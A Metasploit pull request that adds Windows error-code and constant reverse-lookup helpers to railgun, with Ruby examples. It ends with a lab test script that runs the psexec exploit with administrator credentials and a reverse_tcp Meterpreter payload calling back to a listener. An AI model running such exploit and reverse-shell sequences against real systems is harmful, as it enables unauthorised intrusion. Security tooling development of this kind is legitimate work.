rapid7/metasploit-framework — pull request #67 by kernelsmith (2011-12-18 05:40:55+00:00)
Title: Add const_reverse_lookup and error_lookup to railgun (redmine 6128)

pull request for feature at http://dev.metasploit.com/redmine/issues/6128

When handling errors (especially) coming from railgun (and thus Windows), it's kind of painful to case those billions of possible errors. This feature adds:

```ruby
#
# Return an array of windows constants names matching +winconst+
#

def const_reverse_lookup(winconst,filter_regex=nil)
return constant_manager.rev_lookup(winconst,filter_regex)
end

#
# Returns an array of windows error code names for a given windows error code matching +err_code+
#

def error_lookup (err_code,filter_regex=/^ERROR_/)
return constant_manager.rev_lookup(err_code,filter_regex)
end
```
And lets you do stuff like:

```ruby
rg = session.railgun
scum_manager = rg.advapi32.OpenSCManagerA(nil,nil,"SC_MANAGER_ALL_ACCESS")
win_err_val = scum_manager['GetLastError']
if win_err_val != 0
err_name = rg.error_lookup(win_err_val).first # will return an array due to multiple possible matches, but you can specify a regex to narrow that, see below
raise Rex::Post::Meterpreter::RequestError.new("Windows returned the following error: #{err_name},#{win_err_val})
else
return scum_manager['return']
end
```
It's not a big deal when there's only a few possible errors, but when there's 20, it's not fun to handle them all yourself, looking them up on MSDN etc for the description

you can also specify a REGEX to filter out certain errors or constant names

```ruby
rg.error_lookup(win_err_val, /^ERROR_ACCESS/)
rg.const_reverse_lookup(0x04, "^SERVICE_") # both regexp objects and strings are ok
```
The pull request includes a test post mod at test/modules/post/test/railgun_reverse_lookups.rb which was running by an rc like:
use windows/smb/psexec
set RHOST 192.168.170.128
set LHOST 192.168.170.1
set LPORT 8888
set SMBPass lab
set SMBUser administrator
set PAYLOAD windows/meterpreter/reverse_tcp
exploit -z
loadpath test/modules/
use post/test/railgun_reverse_lookups
set SESSION 1
run